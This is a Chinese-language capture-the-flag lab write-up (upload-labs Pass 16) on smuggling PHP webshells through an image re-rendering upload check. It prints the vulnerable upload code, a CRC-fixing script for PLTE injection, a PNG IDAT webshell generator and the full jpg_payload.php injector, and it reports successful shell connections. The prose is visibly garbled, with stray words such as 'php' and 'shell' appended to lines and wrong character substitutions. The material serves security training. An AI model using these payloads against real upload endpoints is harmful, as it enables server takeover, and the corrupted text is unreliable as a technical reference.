psaa-16 二次渲染繞過

pass-16-圖片馬-二次渲染

簡介

  • 什麼是二次渲染
    目前不少網站都會對用戶上傳的圖片再次壓縮、裁剪等渲染操做(如PHP中的imagecreatefromjpeg()等函數),因此普通的圖片馬都難逃被渲染的悲劇。php

  • 繞過html

    • GIFpython

      渲染先後的兩張 GIF,沒有發生變化的數據庫部分直接插入 Webshell 便可
    • PNGweb

      PNG 沒有 GIF 那麼簡單,須要將數據寫入到 PLTE 數據塊 或者 IDAT 數據塊
    • JPG算法

      JPG 也須要使用腳本將數據插入到特定的數據庫,並且可能會不成功,因此須要屢次嘗試

源碼分析

以其中一個爲例shell

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 得到上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 得到上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件後綴與類型,合法才進行上傳操做
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else{
        $msg = "只容許上傳後綴爲.jpg|.png|.gif的圖片文件!";
    }
}

1.basename($filename)返回路徑中的文件名,假設命名爲upload/1.php,通過函數處理爲:1.php數據庫

image-20210808100138580

2.將文件路徑位置賦值給target_path服務器

3.獲取文件後綴名$fileextapp

4.若是後綴名符合白名單,就移動到上傳路徑編輯器

5.而後使用imagecreatefromjpeg()函數,從target_path路徑的那個文件生成一個新的文件

6.srand(time());已經廢棄了,使用rand就行

7.strval() 函數獲取rand()的字符串值,而後重命名一個新文件名$newfilename

8.指定一個新文件的位置$img_path

9.imagejpeg將渲染的圖像生成到指定路徑$img_path,生成圖片

10.刪除target_path路徑的文件

上傳GIF

gif圖片的特色是無損, 修改圖片後,圖片質量幾乎沒有損失

咱們能夠對比上傳先後圖片的內容字節,在渲染後不會被修改的部分插入木馬。

可使用010編輯器(更直觀一點)

左側是上傳前,右側是上傳後,比較發現這段數據如出一轍

image-20210808103027022

修改這段數據,再上傳對比,數據沒有丟失,木馬插入成功

image-20210808104055630

鏈接成功

image-20210808103940571

上傳png

png的二次渲染的繞過並不能像gif那樣簡單.

png文件組成

png圖片由3個以上的數據塊組成.

PNG定義了兩種類型的數據塊,一種是稱爲關鍵數據塊(critical chunk),這是標準的數據塊,

另外一種叫作輔助數據塊(ancillary chunks),這是可選的數據塊。

關鍵數據塊定義了3個標準數據塊(IHDR,IDAT, IEND),每一個PNG文件都必須包含它們

數據塊結構

名稱 字節數 說明
長度(Length) 4 指定數據塊中數據域的長度,其長度不超過2*31-1字節
數據塊類型碼(Chunk Type Code) 4 數據塊類型由ASCII字母(A-Z和a-z)組成
數據塊數據(Chunk Data) 可變長度 存儲按照Chunk Type Code指定的類型
循環冗餘檢測(CRC) 4 存儲用來檢測是否有錯誤的循環冗餘碼

CRC(cyclic redundancy check)域中的值是對Chunk Type Code域和Chunk Data域中的數據進行計算獲得的。CRC具體算法定義在ISO 3309和ITU-T V.42中,其值按下面的CRC碼生成多項式進行計算:

x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1

CRC: 一種校驗算法。僅僅用來校驗數據的正確性的

分析數據塊

IHDR

數據塊IHDR(header chunk):它包含有PNG文件中存儲的圖像數據的基本信息,並要做爲第一個數據塊出如今PNG數據流中,並且一個PNG數據流中只能有一個文件頭數據塊。

文件頭數據塊由13字節組成,它的格式以下圖所示。

image-20210808150409499

PLTE

調色板PLTE數據塊是輔助數據塊,對於索引圖像,調色板信息是必須的,調色板的顏色索引從0開始編號,而後是一、2……,調色板的顏色數不能超過色深中規定的顏色數(如圖像色深爲4的時候,調色板中的顏色數不能夠超過2^4=16),不然,這將致使PNG圖像不合法。

IDAT

圖像數據塊IDAT(image data chunk):它存儲實際的數據,在數據流中可包含多個連續順序的圖像數據塊。

IDAT存放着圖像真正的數據信息,所以,若是可以瞭解IDAT的結構,咱們就能夠很方便的生成PNG圖像

IEND

圖像結束數據IEND(image trailer chunk):它用來標記PNG文件或者數據流已經結束,而且必需要放在文件的尾部。

若是咱們仔細觀察PNG文件,咱們會發現,文件的結尾12個字符看起來總應該是這樣的:

00 00 00 00 49 45 4E 44 AE 42 60 82

寫入php代碼

在網上找到了兩種方式來製做繞過二次渲染的png木馬.

寫入PLTE數據塊

php底層在對PLTE數據塊驗證的時候,主要進行了CRC校驗.因此能夠再chunk data域插入php代碼,而後從新計算相應的crc值並修改便可.

這種方式只針對索引彩色圖像的png圖片纔有效,在選取png圖片時可根據IHDR數據塊的color type辨別.03爲索引彩色圖像.

image-20210808122232966

  1. 在PLTE數據塊寫入php代碼.

    image-20210808122655533

2.計算PLTE數據塊的CRC

CRC腳本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

d369f66d

image-20210808145331054

修改crc的值

image-20210808145709600

上傳後鏈接成功

image-20210808150216772

寫入IDAT數據塊

國外大牛寫的腳本,直接拿來運行便可.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

運行以後,發現生成了一個1.php,打開分析裏面已經寫入代碼了

image-20210808151130131

可是運行不了,不知道是什麼緣由

image-20210808152059447

上傳jpg

因爲jpg圖片易損,對圖片的選取有很大關係,很容易製做失敗

採用國外大牛編寫的腳本jpg_payload.php

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

準備

隨便找一個jpg圖片,先上傳至服務器而後再下載到本地保存爲2.jpg

插入php代碼

執行命令php jpg_payload.php 1.jpg

而後上傳,就鏈接成功了

我復現沒成功,好像有一些jpg圖片不能被處理,要多嘗試一些jpg圖片.

參考:

PNG文件結構分析 ---Png解析 - DoubleLi - 博客園 (cnblogs.com)

upload-labs之pass 16詳細分析 - 先知社區 (aliyun.com)

相關文章
相關標籤/搜索